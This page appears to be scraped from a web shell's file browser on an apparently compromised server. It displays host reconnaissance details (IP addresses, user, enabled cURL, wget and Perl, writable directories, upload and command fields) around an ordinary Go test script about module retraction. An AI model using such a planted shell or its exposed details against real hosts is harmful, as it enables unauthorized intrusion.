403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/go/src/cmd/go/testdata/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/go/src/cmd/go/testdata/script/mod_retract_rename.txt
# Populate go.sum.
go get

# 'go list -m -retracted' should load retractions, even if the version
# containing retractions has a different module path.
go list -m -retracted -f '{{with .Retracted}}retracted{{end}}' example.com/retract/rename

# 'go list -m -u' should load retractions, too.
go list -m -u -f '{{with .Retracted}}retracted{{end}}' example.com/retract/rename

# 'go get' should warn about the retracted version.
go get
stderr '^go: warning: example.com/retract/rename@v1.0.0-bad: retracted by module author: bad$'

# We can't upgrade, since this latest version has a different module path.
! go get example.com/retract/rename
stderr 'module declares its path as: example.com/retract/newname'

-- go.mod --
module example.com/use

go 1.16

require example.com/retract/rename v1.0.0-bad
-- use.go --
package use

import _ "example.com/retract/rename"

Youez - 2016 - github.com/yon3zu
LinuXploit